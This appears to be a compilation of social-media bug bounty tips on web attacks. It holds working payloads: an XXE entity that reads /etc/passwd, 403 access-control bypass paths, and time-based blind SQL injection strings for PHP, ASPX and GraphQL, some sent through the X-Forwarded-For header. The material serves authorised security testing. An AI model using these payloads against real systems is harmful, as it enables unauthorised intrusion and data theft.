Bug Bounty Tip : XML External Entity(XXE)
1.Go to the file upload functionality in the application.
2.Upload a XML file
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<test>&xxe;</test>
3.Use Burp Suite to intercept the request and modify content type.
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403 bypass methodology !
1- using space symbols
exmaple:
/admin -> 403
/admin%09 -> 200
/admin%20 -> 200
2- use traversal
Example:
/admin -> 403
/..;/admin -> 200
you can fuzz with traversal sometimes that's end with results
Example: /..;/FUZZ
#bugbountytips by @viehgroup
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This video gets you a basic idea of finding Path Traversal Vulnerabilities in code,
Tutorial: https://t.co/nCWAEycujC
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I found 2 Blind time-based SQL Injections in X-Forwarded-For: header just using Burp Intruder. Made a list of 500+ HTTP request and tested one by one for 3+ hours, here is the result..
X-Forwarded-For: 0'XOR(if(now()=sysdate(),sleep(6),0))XOR'Z
#BugBounty
Burp suite config for new project
Add header response replace
- 301, 302 Found => 200 OK
- 403 Forbidden => 200 OK
- Remove some noises response headers
- :false => :true magic
- xss text replace for testing xss
Del noises ext: svg,ico,woff
https://t.co/4lukrzO4My
#bugbountytips
Another day another bug 🔥
This time we found #XXE in a PHP application by searching for the string: libxml_disable_entity_loader(false)
It indicates that external XML entities are able to be loaded.
Add it to your list :)
#bugbounty#bugbountytips#Hacking
Tip for finding SQLi in NodeJS code 🔥
1. Identify the ORM the developers used (like knex or sequelize).
2. Focus on the unsafe methods of the specific ORM: query(), run(), execute(), raw()
3. Check for input processing and craft your payload 🥷
#BugBounty#bugbountytips#Hacking
7 SQLs
4 in php
(select(0)from(select(sleep(6)))v)/*'+(select(0)from(select(sleep(6)))v)+'"+(select(0)from(select(sleep(6)))v)+"*/
1 in aspx
orwa';%20waitfor%20delay%20'0:0:6'%20--%20
2 in graphql
orwa') OR 11=(SELECT 11 FROM PG_SLEEP(6))--
#bugbountytips#bugbountytip 💕
🔖 GAU - A Must-Have Tool for Initial Recon 🚀
✨ Highlights:
•Extract various file types like .php, .json, .js, and more effortlessly during recon.
•Perfect for bug bounty hunters and security researchers.
#BugBounty#bugbountytips